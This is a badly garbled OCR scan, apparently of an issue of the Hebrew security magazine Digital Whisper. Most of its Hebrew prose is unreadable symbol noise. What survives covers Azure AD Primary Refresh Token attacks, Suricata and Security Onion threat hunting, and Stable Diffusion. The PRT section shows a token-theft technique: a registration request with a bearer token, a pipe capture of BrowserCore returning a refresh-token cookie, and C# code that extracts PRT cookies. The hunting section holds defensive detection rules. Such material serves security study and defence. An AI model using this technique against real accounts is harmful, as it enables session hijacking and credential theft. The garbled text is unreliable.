a > ~ a

RN
> ~

J x ¢ s S . s

- 17 Trahsport Keg - x . . [DEVicge - -~ * xs slDevice keg - * . § *
o-H 11 J-ss  ®&s: xHxRRT « %" -SessionKey

DRS DeviceL s - X« *xDevice Keg ~ x CSR Certificate Signing Request.>* 11 _ 9

®egistration Service

b4 > TCBvices © . 1. X" "(fzurgs s _ 1 SX _ ysix . _§ %

~ ~ v ~ v o~

X <. «AzdreAD ® o _Deviced - «+ x _ + IDR®& Access Token 1 L *iwx_ix_ < 1 s
®"X 1 SE % Ss]lom st xDBvices 1« 11 % x «

Primary Refresh Token
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Azure~ x s 1, s | x o s ” @ersonal Certificate Stares - X+« 1% _1Is_

Yoined
WaZeb8c49-8ce0-4a6e-bdce-ef1c... MS-Organization-Access 3/21/2034 Client Authentication <None>
L ?ala2eb8c49-8ce0-4a6e-bdce-ef1c... MS-Organization-P2P-Access [20...  5/20/2024 Server Authenticati... <None>
o :'ZQJDESKTOP- 84UPK6 DESKTOP-D84UPK6 8/21/2023 Client Authenticati... <None>
b ZJIDENTITY1| L4 Certificate X Server Authenticati... <None>
;Zglidentityh Client Authenticati... <None>
General Details Certification Path
or
108 Certificate Information
rs
Windows does not have enough information to verify
this certificate.
ies
fic
Issued to: a2eb8c49-8ce0-4abe-bdce-ef1c7345893e
he:
Issued by: MS-Organization-Access
pll:
Valid from 3/21/2024 to 3/21/2034
per ? You have a private key that corresponds to this certificate.
ice
Issuer Statement
s CFCF ST TS oL s e X 0 8 L xAurgtx " 1 s Deviceld » < " ISsuedte ! | s ]

™M PH DY nndmMmMmo ¥ f OD-Dp PH yun DHAZUreT * " _ _Device

¥ * $ . sl Registryt s ¢ Thumbprinte @ «« x < [L33 xs| 1" siis 107

Computer\ HKEY_LOCAL_MACHISESTEMQurrentControlSet ontrol loudDomainJoin \ Joininfo
Thumbprint

1 POST /EnrcllmentServer/device/?api-version=2.0 HTTP/2
2 Host: enterpriseregistration.windows.net

3 Connection: Keep-Alive Access token for device reg service

4 Accept: application/ison
S|Authorization: Bearer eyJ0eXAiOiJKVIQiLCJIhbGeci0iJSUzIINiIsIngldCIG&ImwzclEtNTB]jQOg0eEIWWkxIVEd3bT1NSNzY4MCIsImtpZC]

WwzUGS5N3IXZHBXbYLGZO5IMWI rbFJ3PTOLLCINDXI10sicHAkI iwibWZhI1OsImFwCGLlkI joiM] TkOWVKOTgtYTQZ0SOONTMZLWFKZTItZ jk4My
2NwI joidXN1c19pbXBlenNvbnFOaWouliwic3Vil jolLLWxheXd5MnBrwW15d1Z5VVS9Re 1BzNERNY3VZd2xaNFJ0eWt zeWd2c002ay IsInR1bmFudf
Hc JEXYRW2e8GTT5HD fcMOb fCKy IWSkmdAKV1AJHQUbD7UZTAL12aK9Go040SY XIgXINAvFHKD_Z rIN1OFcg-e81WZnMOMFnySkVIsG3NWYHBZIm 7¢
6 USer-Agent: Usreg/1u.u (Windows 10.0. 19042, [237]

7 Ocp-Adrs-Client -Name: Dsreg

8 Ocp-Adrs-Client-Version: 10.0.19041.1202

9 Content -Length: 2740

1 . Certificate Sign Request for device cert

"CertificateRequest”:{
“Type":"pkcsl@®,
“Data": "MIICTCCAVOCAQAWMDEUMCWGA1UEAXMINOUSODBBRDKt Q] g2RCOBMzAZLTKEOM ] Ut OUFDMDY 2Rk IwMTRBADCCASIwDQY JKoZI hve N/
CwUAA4IBAQBjErciNgz0CJIBiSNv+D1 jMN+xwpQLBAZ20SSswEQoXWj thp9coglMsQPs7mXzI oLhKo4CM4GLRCDRMEOIQSYiV1IZrLBgssS41gT]

I

"TransportKey" : "UINBMQAT AAADAAAAAAEAAAA:—'«AAAAAAA.&AQABVUGVImsprJR?aTwSLJ@EEiENVcriXFIzfPk)\'awﬂehBEvddlSwJTMyafoch
"TargetDomain™: "Iminyour.cloud™, Public RSA key for transport

"DeviceType": "Windows",
"OSVersion":"10.0.19042.1237",
"DeviceDisplayName" : "DESKTOP - 4NBNSHS",
"JoinType":0, [ = iai
"artributes”:{ 0=AAD join
"MSA-DDID": "dD1FdON3QWhhRUJBQVVSc2Rzcnk40HZiMGI  SFN1YUS4AN3pTak SVOWNBQVhIT1BLSKkS1VysrwmcveXZSTERXMGhZVGM2Wm1 1

UnhIeFh4VFp4QS85YUYzcUdpcBORaZ0OFBQOZDMHBoadxPaCt Y ZOFHNnpJd2JPek 1vQ jhBVNpGQnISVekzcHo3MmNVUWhk SmFBN1ZEeW4 2bFF v
NVBCUBhFcmIwKZ2VVNUpyd {RTVWITVWE XODNKNVRNSVo2TVEGL 200c XRPenBHAVI reDgrT GxBUFBE0 1 ZhVOgxWE1PaWF6NUL4Qm5sUGO1dHL D

"ReuseDevice":"true", : .
e T e Device Ticket (can be left out)

Device properties
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s QCS‘,[mvice-[N . : X N‘-“‘lLFt‘RTL ~: X ,:I\!- § )J e X X

~ v

Devicge s " ¥ | _ -

X X 1 Signinss A% <TER XA o kP L w XS s X ] X

~ v a ~ ~

Y 1 "% « x 2 4 «Xx€ipx , X ] Aduret x 7 L . LK, o X

A A v ~ ~ v A

Ul CloudAD wnnwn o
wpan CloudAP l CloudAP (Authentication
W DTIUNN NK 7Y NN0'0I

AzureAD-n Nonce . Package) Inside LSA
Device-n my wnnwn

nwpa NN 127N CloudAP
2N 2 NTIVN 720N NINARNNN
UPN, Password, None, Scope
Device-n NN DNINI

Session Key-il PRT-n 2w NNT1 WY AzureAD
CloudAD-2 Dnnwia PRT 1TNNI N7wAW UTNN
(TGT ma wnn) SessionKey-l

Y i omp > wsqdx 7

sX 4K 4T e

>~ v ~ v v o~ W ~ vAv ~ v v

CloudAP plugit 4 x LSASS+ 1 ~» X xs | £ 5.5

dogonUbx = ¥4 .97 1141+ | Logome

Device Registratiap { 1 L % 78t Devicgt L s | x 3  @IdudAP 1
AzureAB : 1L _ X9 X . 1 *CloudAP 1
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X DX ioUdet L ok 414 oS LAl X v T s sX] L x*_4x] CloudAP
odkprivoDevice key
-s ] x % . Séssion kay Otkpub: x < 7 . X SessionKey YPRT 1 ¢ AzureAD 1

O . _ 3% C s .5 T YPRT
x ¥ %« xs 1 .Sessionkay - - PRT - -7 | 1C€loudAP ¢
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PRT Attacks

Hoxooosd s &« 4 Y15 g 447 32 ¢
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b XX X3 O s N X X o, saq X 1o, [{Xx"C. T Joms L s

X3, s WKkx P XY AR XxBhL b et o p s X1 8" 4 A e 1, oS
I BT N T T T B T P N & P U D AR [ T¢) BN

HAME D« v s X psIE. 4 4 PRT

@yDirk-Jan' J4 -~ iIPRTY {1 _ $ lLBrowsent _ x _ 1

~ ~

P Xl ¥d7T P CloadAR + 1~ X4 L Credsgs _s | X x |8 8% « s« 7

’

T KIS 01 J X e dE 941 x %X s Edget ¢ KAzurgr -~ X T ¢ S L X

>

®rowserCore _ % | | ®¥x s . ¥ hrome*d X X - _CloudAR _PRT
cxis gLl x xs sEiot . o« XSSy ST L LB X e ]y
tdoutrt s * x ., 4 ¢ stdin¥ ~ ihput * « _
manifestjson X
¢: > Program Files > Windows Security > BrowserCore > manifest,json > ...
1
2 "name": "com.microsoft.browsercore",
3 "description": "BrowserCore",
= "path": "BrowserCore.exe",
5 "type": "stdio",
6 "allowed_origins": [
7 "chrome-extension://ppnbnpeolgkicgegkbkbjmhlideopiji/",
8 "chrome-extension://ndjpnladcallmjemlbaebfadecfhkepb/"
9 ]
e }
« ¥ X kisx .y § NBmed Pipes X <« 48tdio: » X _ <S4 x 8%, 1 s

Event Viewer Process Create ¥ X f SSp« * s

Event 4688, Microsoft Windows security auditing.

General Details

Process Information:

New Process ID: Ox7df4

New Process Name: C:\Windows\System32\cmd.exe

Token Elevation Type: %%1938

Mandatory Label: Mandatory Label\Medium Mandatory Level

Creator Process ID: 0x7d04

Creator Process Name: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Process Command Line:  C:\WINDOWS\system32\cmd.exe /d /c "C:\Program Files\Windows Security\BrowserCore
\BrowserCore.exe" chrome-extension://ppnbnpeolgkicgegkbkbjmhlideopiji/ --parent-window=0 < \\.\pipe
\chrome.nativeMessaqing.in.1310ebe7ea58d84 > \\.\pipe\chrome.nativeMessaqing.out.1310ebe7ea58d84
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L
Fiter: |File ID ¥ | | OXFFFFBEOSOF438230
@ NPFS mon
14:2 i 400 Session started
o Capture started with filter *
& Server file opened
File name: \chrome.nativeMessaging.in.c8e@ce573b69a36¢c
File ID: @xFFFFBE@5OF43B230|
Process: \Device\HarddiskVolume4\Program Files (x86)\Google\Chrome\Application\chrome.exe
PID: 3960
00 77 @7 @0 00 7B 22 6D 65 74 68 6F 64 22 3A 22 47 w...{"method":"G
65 74 43 6F 6F 6B 69 65 73 22 2C 22 75 72 69 22 etCookies","uri"
3A 22 68 74 74 70 73 3A 2F 2F 6C 6F 67 69 6E 2E  :"https://login.
6D 69 63 72 6F 73 6F 66 74 6F 6E 6C 69 6E 65 2 microsoftonline.
63 6F 6D 2F 63 6F 6D 6D 6F 6E 2F 6F 61 75 74 68  com/common/ocauth
32 2F 61 75 74 68 6F 72 69 7A 65 3F 63 6C 69 65 2/authorize?clie
6E 74 5F 69 64 3D 34 33 34 35 61 37 62 39 2D 39 nt_id=4345a7b9-9
61 36 33 2D 34 39 31 30 2D 61 34 32 36 2D 33 35 a63-4910-2426-35
33 36 33 32 30 31 64 35 30 33 26 72 65 64 69 72  363201d503&redir
65 63 74 SF 75 72 69 3D 68 74 74 70 73 25 33 41  ect_uri=https¥3A
25 32 46 25 32 46 77 77 77 2E 6F 66 66 69 63 65 ¥2FX2Fwww.office
2E 63 6F 6D 25 32 46 6C 61 6E 64 69 6E 67 26 72  .com¥%2Flanding&r
@ IONinjat 8
X 1 X -
Y4+« $F- 15+~ GetCookies ! x « % x s
n mw,n . "
method" : "GetCookies",
n O [ e 1] o | = ] o L
uri":"https://login.microsoftonline.com/common/oauth2/authorize?clien
n won . . . . .
sender":"https://login.microsoftonline.com/common/oauthZ2/authorize?cl
¥ o XssX X Il X o X

"response": [
{
"name" : "x-ms-RefreshTokenCredential",
"data":"eyJhbGci0iJIUzIINiIsICIjdHgi0iJxSDBtSzc@VE92Z1Rz<cut>NjcjkwZX

"p3pHeader" : "CP=\"CAO DSP COR ADMa DEV CONo TELo CUR PSA PSD TAI IVDo
"flags":8256

hoboe e X@ydlEIE s d T 2 S x L M kT I xiss ,datas ! s 0]y Y
https://jwt.io/ ~ + ~x*0 ¥ 3 L KWTL T _ d xssC 4 plixd{pp_ | X Se s
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XX ,,sXXs x ", s X

"refresh_token": "AQABAAAAAAAGV_bvZ210QQ4R0gh@_1-tAZ18nQkT-eD6Hqt7sfSQY@1WPS]

"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bvZ210QQ4R0gh@_1-tAPrlbf_TrEVIRMWZ2Cr7cJvYKDh]

L, browserCore.exe 1 L S -
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v & Cookies
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https://learn.microsoft.com/erus/windows/win32/api/proofofpossessioncookieinfo/an
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~ v vA v~
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x 1 H_ S % 4 Jisx v | &EtCookielnfoForud | x *

§sc A F-

Named Pipes 1 _Stdimt x " « 8 7 Xs §€ " X { [, Ssxfl { .5 X 4 9N s xsx, x | X
YBase6& ' | x PR © - 1dhtdrs 0

v o~ v

49 v public static IEnumerable<ProofOfPossessionCookieInfo> GetCookieInfoForUri(string uri)
50 {

51 var provider = (IProofOfPossessionCookieInfoManager)new WindowsTokenProvider();
52 var res = provider.GetCookieInfoForUri(uri, out uint count, out var ptr);

53

54 if (count <= @)

55 yield break;

56

57 var offset = ptr;

58 for (int 1 = @; i < count; i++)

59 {

60 var info = (UnsafeProofOfPossessionCookieInfo)Marshal.PtrToStructure(offset, typeof(UnsafeProof0fPog
61

62 var name = Marshal.PtrToStringUni(info.NameStr);

63 var data = Marshal.PtrToStringUni(info.DataStr);

64 var flags = info.Flags;

65 var p3pHeader = Marshal.PtrToStringUni(info.P3PHeaderStr);

66

67

68 yield return new ProofOfPossessionCookieInfo()

69 {

70 Name = name,

71 Data = data,

72 Flags = flags,

73 P3PHeader = p3pHeader

74 iH

75

76 Marshal.FreeCoTaskMem(info.NameStr);

77 Marshal.FreeCoTaskMem(info.DataStr);

78 Marshal.FreeCoTaskMem(info.P3PHeaderStr);

79

80 offset = (IntPtr)(offset.ToInt64() + Marshal.SizeOf(typeof(Proof0fPossessionCookielInfo)));
81 }

82

83 Marshal.FreeCoTaskMem(ptr);

84 }

85 }
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1 Payload
1 Signature

BodytHeadern. «~ . 1<S®OPRT Cookie+ _ vysx"@ase6& r 4 | | x <gx x «p 4 X, X

~ > v o~

YBase64 Decode s ¥ " 14~ 1 -

"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8Y1VYCLoMu383"

"refresh_token": "AQABAAAAAAAGY_bvZ10QQ4R0gh0_1-tAZ18nQkT-eDEHqt7sf5QY@iWPSssZ0to]<cut>VhecDew7XCHAVM(
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv210QQ4R0gh@_1-tAPrlbf_TrEVIRMW2Cr7clvYKDh2XsByis2eCF91iBHNgJIVzYR_bd

T wx digprimary-trues | _sx oL x X5 I0PRTE « x Payload® Refresh Tokeng
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(ByNestori SyynimaaPRT - ¥ _ s{ xDeyiceL Device Registration x « 1 *

I 4iiss « % 5 oDevice X « ARRT ¥ _ § CAdF L~ *10x% _«s{x.d3d

(bxivq:-|5f_<s-|:-|s¢ILx§Ax.“sEv~,,
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140812 « 4 ODRE Token+ {1 1 ¥ % 1s”% 4 * [M®vice Registration « * v 1 1
T ] xsius] "ICBR x Ddvice KeyTEansport Key x 1 41 x ¥ 4 , « 0"+ 28 11

v v

¥ _ «is
{
"CertificateRequest”: {
"Type": "pkcsie",
"Data”: "MIICADCCAVWCAQAWLZEt...BAqsCDngheld6IlIgBC4Guelq+hrmu/7KjiHPQ="
s
"Transportkey": "UINBMQATAAADAAAAAAEARAAAAAARAA . . . 1EqIHM2S/ 1UkPtrSvNmKKa7zTQelWtRCSzzbZUFEBC3RQ==",
"TargetDomain": “contoso.com”,
"DeviceType": “Commodore™”,
"0SVersion": "ce4",
"DeviceDisplayName": "My computer”,
"JoinType":
"attributes”: {
"ReuseDevice”: "true”,
"ReturnClientSid": "true"
}
}
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License, assuming the author shares the rule

Level

1 Title

f Status, like experimental or tested
1 Description of what it detects

1 Author name

1 Date

T ID

1

1

m I

f Tag, including MITRE ATT&CK mapping
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alert http SHOME_NET any - > $EXTERNAL_NET any(msg:"HTTP GET Request Containing Rule in
URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule";
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securityonion

Node Status

1D:

Role:

Address:
Version:

Model:

d:

Earliest PCAP:
Last Heard From:
Age:

OS Uptime:

Last Synchroniz..

securityonion
Standalone
192.168.122.136
2.460

N/A

2024-04-24 10:44:43.

2024-04-29 22:50:21.1...
2024-05-08 18:19:28.8...

14 days
13 days

4 minutes ago

Standalone 192.168.122.136

2460

Container Status

so-dockerregistry

so-elastalert

so-elastic-fleet

so-elastic-fleet-package-registry

so-elasticsearch

a few seconds ago

14 days

Appliance Images

Appliance i

y Onion Solutio

are only displayed for

ppliances

so-idstools
Process Status:

Connection Stat.. so-influxdb

Elasticsearch St

RAID Status: Feature Unavailable so-kibana
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Security @nion 2

Modified: 56 / 348

Grid Configuration Options

<

Downloads o X ) X
This is a list of additional rule download locations.

g;g Users VIEW DEFAULT

» idh

ﬂ Grid Members B
w idstools

« config https://example

AP License Key

Registration Code

§ ruleset
Kibana

Elastic Fleet
Osquery Mana. .. enabled <[
InfluxDB

Version: 2.4.60
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~ Ao

T w1 8 X-STLH » _ « % v » ¥ ¥l 44«3 x s ¥ fifgerprints 4 1%

T 3Way-Handshakes - ~» v + 4 P48 x e A1 xTLS *x « ¢ 81 &0 17470 X

~—~

s oxsXs oGk, Al Ty AP AT HELLG: 1< T 0 _TEP
S L1 ISZTSXHELLG: 1« XY .A _ X @ sl@x ¥ T3 y X @ HX<oLS
¥ oo ¥ss, X T X b1 axdEsd x4

TLSVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats

769,4753-510-4916149162491714917250-56-19-4,0-10-11,2324-25,0

¥ dome X0 FH e X1 18] po
769,45-10-9-10098-3-6-19-18-99,,,

DAZE - _ ¢ AT THHT L XILIMDS 1 x T LT, 8

~ ~ v~

de350869b8c85de67a350c8d186f11e6

B s 4B 4T Fe AL x4l Im3 Server s _ 4SS . 5 . ..¥x JA3S

X 1YLy | X ymetadatat | 4 % 1S € s {45 XX -T .x <t x ] 4{qs

~

P20 e @ N X T R E TR 1 %

A A

s I KIBAN# _1 X L@@« X

N O

DoKX gs SR T XIS | L Jox®@ X L
¥ _ Y JA3E JA3s
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@ elastic N e g —

Security Gnion - Home

Expanded document

hash.ja3: a0e9f5d64349fb13 1f81f42e1 x  hashja3s: 96 805538 a  View: @ Single docume Y Surrounding documents 10f 3 > 3

Security Onion - All Logs
@ event.imported true

= Columns ¢ 1field sorted [ event.ingested Apr 18, 2824 @ 11:19:54.000

I @timestamp (O v source.ip “ source.port v destination k event.module zeek

a a0e9f5d64349fb13191bc781181742e1
k hash.ja3s 986571866668855ae9481ch84fdab34al

Apr 18, 20824 @ ©4:57:38.187 10.4.9.181 58,432 52.18

Apr 18, 2824 @ 04:57:15.884 10.4.9.101

k import.file ssl.log

k dmport.id 27d5f14eaa98f5f1446559%9aec95a6b1
Dec 18, 2821 @ 18:32:47.998 10.8.8.158

k input.type log

log.file.path fnsm/import/27d5f14eaa98f5f144655
99aec95abbl/zeek/logs/ssl.log

k log.id.uid CpBMq11g3IBtxBsBA1
# log.offset 31,953

t message
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A v

Y * Suricata®

Count rule.name @ eventmodule @ event.severity_label @

1 ET POLICY PE EXE or DLL Windows file download HTTP suricata high

A Overview
Alerts
Dashboards
Hunt

Cases

e rule.name:"ET POLICY PE EXE or DLL Windows file downloa

Grid
Downloads

Administration

Kibana
Elastic Fleet

Osquery Mana...

TB S ol X LAY A X

log.file.path
= [T) log.id.uid
log.offset

message

rnntndnts kst

Orilldownrt ~ 1 * 7

B Total Found:
Options

Include
Exclude

Only REFRESH &

Drilldown
Group By

New Group By

Felch |
500

Clipboard v

D @@« 000

Actions

(M

rule.name @ eventmodule @ event.severity_label @
Hunt
ET POLICY PE EXE or suricata high

Add to Case

Rows per page: 50 w 1-10f1
CyberChef

Google

VirusTotal

/nsm/import/e0b40c/2ed0cecab3da74fabcd51f08/suricata/eve-2024-04-17-11:52 json
665483047067333
0

{"timestamp":"2021-12-10T14:49:31.497416+0000", "flow_id":665483047067333,"pcap_cnt":60,"event_type":"alert","s

id":0,"alert":{"action":"allowed", "signature_id":2018959,"rev":4,"signature":"ET POLICY PE EXE or DLL Windo\

_NET any (msg:\"ET POLICY PE EXE or DLL Windows file download HTTP\"; flow:established,to_client; flowbits:isnc

ev:4; metadata:created at 2014_08_19, former_category POLICY, updated at 2023 04_12;)"},"files™[{"filename":"re|

SL/1.0.2k-fips PHP/7.2.34\n\nX-Powered-By: PHP/7.2 34\r\nContent-Description: File Transfer\rinContent-Disposition
1..L.IThis program cannot be run in DOS mode.\r\r\n$.

).H.HMHEH.. HMH.HM.U..LELMM.LUL]M.HuH H> L
.M.H.E.H..B. H).H .HMH.EH.. .H..H.M.H.E. .H). .M.H.E. H).H.H.M..U..LELMM. UL]I'\
A \n eLE_.UHM. LE... 2 1= 8.

i...,Sf...iD. ALALLL \nAALALA_A.E.A_AE E.A_A_A" "stream" packet" "CNQMvX2iADUe
4wBB\NpAIMSAgOYAINpFCNNACNZBMPMIyDT/gMSAINhBCMNBQsMBQbglstRQkahleRQQFyESJTCRAGasLP
BMiYQkOAIAAEyLhCQ4AgAARIMEJEQCAABMiOWKUEMBwWQEAAABMIUWKUEYLjCSYAAAATIMMJCgCAABMI4wkl
AAMcCLDR48AQCLFRQ8AQBBicBBKchBicFBgelxZtrORQHIRCnALbORxb2D6AEFs5HFvQUBJdeDLXFm2vOtOiXXi
Yj3QYD3AUGISEGASAFFCP5BgMwBQYD2/0Ug5kGA8vIBIO9BgPH/QYj0QYDOAEUI+kGAZABBgPL/RSDIQY[3QYL
QYDmAUGI3EGASPSAIPVECPdBCOXEMOdBCNpBgPL/QIDOAUEg8kQI10CA9/9FiNpBMPpFINpFiPtFINNFMNAFC
QSnDRQ+vw0OGD4AFBg/gAD5TDQYP5CKAPNMZAIPdAgPf/QlidQDDIQCDAQIfQID3/0GI9kEg/kCAIVOAIPNBCNSA
qwODsYI1MBmUmJy00p00wB2kmJyOkp00i6JvrUxiHpZc1JAdNJKeNJKANMKdFJActidwkmAAAAEyYJ 2uimDwAASIu

Flak~ant
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Yecode- 1~ L X

network.data.decoded HTTP/1.1 200 OK
Date: Fri, 10 Dec 2021 14:49:30 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
X-Powered-By: PHP/7.2.34
Content-Description: File Transfer
Content-Disposition: attachment; flename="repa5"
Expires: 0
Cache-Control: must-revalidate
Pragma: public
Content-Length: 227455
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream

(@) SO 1..L.IThis program cannot be run in DOS mode.

.L$..D$.(
AA..D.DOD .E.A.D.DA.ED
E.UDMLEHUHM.E

* ¥ sheaders OEXE * messagd ~ * % _ L IS o~ o 8 X459« X T 4] X

o

(MZDOS! « ¥« 14~ H71 51 1% x - Mark Zbikowskitx © x  MB. 1 lexel
~ o % -<Nighheaders s s x & | ™1 L

ERE * ¥ = ¥ | S

¥ x 1s

alert http $SEXTERNAL_NET any -> $HOME_NET any (msg:"ET POLICY PE EXE or DLL Windows
file download HTTP"; flow:established,to_client; flowbits:isnotset,ET.http.binary;

flowbits:isnotset,ET.INFO.WindowsUpdate; file_data; cont ent:"MZ" ; within:2;
byte jump:4,58,relative,little; content:"PE|00 00[" distance: - 64; within:4;
flowbits:set,ET .http.binary; classtype:policy - violation; sid:2018959; rev:4,

metadata:created_at 2014 _08_19, former_category POLICY, updated_at 2023 _04_12;)

Y X X A% AT X HE RSOGO KL XX W

~ > > L v me>

N L (2 Actions

fxlsooox o peaps s e 37+ §

VirusTotal* _ x

14 Ts 44D x ), cyberche® | 4s 14 Add to Case
« s 1 w1 o x T x e pssy, C0 ] Correlate

CxP4<s 47" 1, <15 basessd x

Hunt

PCAP

_x X TOX o« 1Tx o 11X xpeaps i s T e x5 CyberChef
yberChe

P4 X oS - )X{Ipégps L LSXs]q ~ 1] A . éBISk)tOp

Google

.S L ' x o% L 4 s L s .

~ v ~ v ~ < A ~ > ~

. (s Wireshark networkminer) VirusTotal
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Technologic

X 4 Dop A S P SHSXe Ly 1S L S .

1" opensourcel « 41X 451 . . §¢

~

o Dl SR K TE T L T i X s 1 degulity Oniome ¢ X . x¥s " 7 X x

LB xS

e x bR Do o % ) s X e X 4TS

rule.name:"ET MALWARE Win32/IcedID Requesting Encoded Binary M4" °

X o fIx o, X >”=\LZ NI I

1T ssh
SB XX T x4 e §ox ]

>

”

X WY, XY X

Xl

AYX" L GO % X TH s X Ise)

~

TP L T XYY 44 threat hunting®, X H 4 K T 4 Y. X X " . ]S

(" _, -opensource 1| .~ X "o - T A Hs. 3 x|

~ ~

https://lionsec.io

hila.zevulur@gmail.com

hilaz@ionsec.io

E ‘I L Y”X,..v\:vzx 'I X » X

Cx % .
, 1o X%, st-|s“ L sA.

« ¥ dtHreat huntre ¥ -

>

~ »

NN I SIS S SN T S

XB L XY+ ™4 47 ¢ 4

Xe¥p B X% 4 x A

x@ U g § LX) s

ww 8 . 14X s X

b B XXX S OXT DX Y v

X . 4o B4 «S*__4x{ L-x_« dpice

XX B X3 S,

X Lox ] s

YONSEC » * 3 % 444 X p H %A« DB X = x g X ¥ &

T
www.DigitalWhisper.co.il

H amHLx 4637 x 4 L Y

1


https://ionsec.io/
mailto:hila.zevulun@gmail.com
mailto:hilaz@ionsec.io

Technologic

https://shushan.co.il/%D7%94%D7%A1%D7%91%DY%A8
%D7%95%D89C%D7%99%D7%9E%D7%95%Drégegregularexpression

https://github.com/YaraRules/rules/tree/master

https://github.com/SigmaHQ/sigma/blob/master/rulesmergingthreats/2018/Exploits/CVR018
13379/web_cve 2018 13379 fortinet preauth_read_exploityml#L21

https://pure.port.ac.uk/ws/portalfiles/portal/79753845/A_Comparative_Analysis_of_Snort_3_and_S

uricata.pdf

https://docs.suricata.io/en/latest/whatis-suricata.html
https://docs.suricata.io/en/latest/configuratia/suricatayaml.html#suricatayaml-outputs-eve
https://docs.suricata.io/en/latest/configuration/suricatyaml.html#suricatayaml-file-store
https://docs.zeek.org/en/current/about.html

https://github.com/salesforce/ja3

T
www.DigitalWhisper.co.il
cT H anHLx 4637 x 4 L ¥



https://shushan.co.il/%D7%94%D7%A1%D7%91%D7%A8-%D7%95%D7%9C%D7%99%D7%9E%D7%95%D7%93-regex-regular-expression
https://shushan.co.il/%D7%94%D7%A1%D7%91%D7%A8-%D7%95%D7%9C%D7%99%D7%9E%D7%95%D7%93-regex-regular-expression
https://github.com/Yara-Rules/rules/tree/master
https://github.com/SigmaHQ/sigma/blob/master/rules-emerging-threats/2018/Exploits/CVE-2018-13379/web_cve_2018_13379_fortinet_preauth_read_exploit.yml#L21
https://github.com/SigmaHQ/sigma/blob/master/rules-emerging-threats/2018/Exploits/CVE-2018-13379/web_cve_2018_13379_fortinet_preauth_read_exploit.yml#L21
https://pure.port.ac.uk/ws/portalfiles/portal/79753845/A_Comparative_Analysis_of_Snort_3_and_Suricata.pdf
https://pure.port.ac.uk/ws/portalfiles/portal/79753845/A_Comparative_Analysis_of_Snort_3_and_Suricata.pdf
https://docs.suricata.io/en/latest/what-is-suricata.html
https://docs.suricata.io/en/latest/configuration/suricata-yaml.html#suricata-yaml-outputs-eve
https://docs.suricata.io/en/latest/configuration/suricata-yaml.html#suricata-yaml-file-store
https://docs.zeek.org/en/current/about.html
https://github.com/salesforce/ja3

Technologic

Stabled ~» x T x 7 x 41 "~ B X ¢+
x 11%. 4 Diffuision

=L Ixsox pflxq] X,

~

AN

coxoos A e, ¥ d ox RalkEr X «Geminic | GhatGPT + - . 1.1 %

sVF‘AxXL:\_-|:x_;s\"Ns:”x,,s]:)s“::xxts Vif{i{xi‘:sxssL; X

XL L
=] xox b xor e s T o p s Xl o P Ao x b ey T L Loy
ST M e TSN X T e 8 e e gL Tix xspo s, o x X

S v A RN K Y X TRV S st L s I e AL T T

TOXCHE] o AT X L X pTL A e, A Y S X e 1 X T X
DX XSS X ] XL X L SHH A HHA XA s X T X s X
s Ox o xPs s s 8T xe o wxx $ X x4 4 4 "'wbmboartr _ % 0o« X

LXp 4 x® gy s | RallE2 L X . { OpersAb_ 1 -

;T | ISX T s o s
x " )Ix-1’ I C4*].,{%slss{ssC s I « s. x X 4% x., , 1% A -4|I\A|Z ., C L X "X

- X

e TR X L AL,
O d A s LXUIAXS L XPRS L T HIH, X Y XX XS ] R X

s s s o 0 IeXdep DR TXXT L TS xED xy B oxiXxx] ] 4 Ts 18Xy
s." X < AN

. LM< x DaltEx | U, x s StableDiffusion:{ » 1% " xx |

|_’.{ . Ixxv‘2<Js< g :|\s|_\ X 5,1 xs.|.|vss¢ sox

Jdxs: { s s
X84 textto-images ~ S Tl X 4Ly 7L

w14 xS 4. ] 11 10penSources s x s

S XA A 4. YN Y
S TR ox P b xS s ¥ Xl e I X ek d e s 1

J o ¥ o XS X X Xy X d

ST R XL LA L s

DX K ded 8. XD L8 4. xMF. . DaE2 Y. . THAOWH _ 1, |~

T 74 Jp,d 8 L0 e X4 Ies ©7 4 4l 4 xIx Ay $ 00K 4 xL 7 xs Tixg 1]

SSsds il x g b ol Ly Rl kL $s Jeld T ox X T TN

a8 4. X
AlT " x s

Stable Diffuision
www.DigitalWhisper.co.il

Y

cy H anHLx 4637 x 4 L ¥



Technologic

Cvs o T X0 4 OpenAd] T, xd SE 4T T XX X & { L Tess X oS LD P s] g X
s x X4 o« XS, | xf Al sux4 % d 4 46GPTL ! X O HH | X CHRatGPT
x4 nst . Y ChatGPT ~x . OpenAlr | S L XwaHM X £ 47X

Pid b4 poxedls « 0s X X L sx X ARSX x " DX oo Xp s ®LTs {74

~

x

x

X1

DXLT S I X E RN X TR LA M d S ] gL N X x X
FAX KA &N s XD x x xx xs | StableDiffusiont . « X X Dx" i S 1S

.Xx_IX

X TIX, XS], s

L~ 1% " StableDiffusiont + |« T LSLAIX T NX DX B Ja ] X T X
Lo X RS Dk A LA SR KX X T X L x4 8],

!~ ~ v v o~ A

text-to-imager ' ¥ _1 -~ [ XK dl” ko, A4 XST 4

17 " ) vkt iy e c b R es o4 S s R ] S X s LT

~ ~

el 4 M1 L s s x T g4 8841 < {sXx s\ ox
11 s X )d¥ A e, s 4Hs fL X s 41 LxsT9 o« 547

Td v s s sOx7 L IXPFprded 3o 1> spxH4 117 x_ 9,7

~

AL B sT NS IOxy 47 x { s

Fd LY R T LXK X TR s e X% 4k T8 X, 80 X T L oy

~ ~ v ~ ~

ook d e e A s FRess o  OSX e Je 4 X YIS XX s

S.X Lxsk 7, so s fLxd XX XU s 4 xx .

~~ ~ ~w ~ ~

Is 18 «"4 .~ «

~

Stable Diffuision Y
www.DigitalWhisper.co.il
c o H amHLx 163~ x 4 v




Technologic

I S S

TS 4e k7 % x X% T 4 xIsq_ ¥ 2 {I % StableDiffusion. | X! s 74 *is"

~ A

s " XZJIV-| VZ X o~

S 4 Y XIp X %

Fod L|_~4<”VXL"~YF”-|V-|>§“-|A=TSL-|‘ £ B esi x P x Doxs o DX $y o x  sxX", |s] s

~ ~ > ~

Ix X gl x Tselox o8] Ll e, 0 sXCB X XD XXX {7 K x ] xX X qs

~ ~ ~ ~

Loloead " ke dMsted I v x e T x s s X x40 b ] T X KT X

~ ~ ~ ~

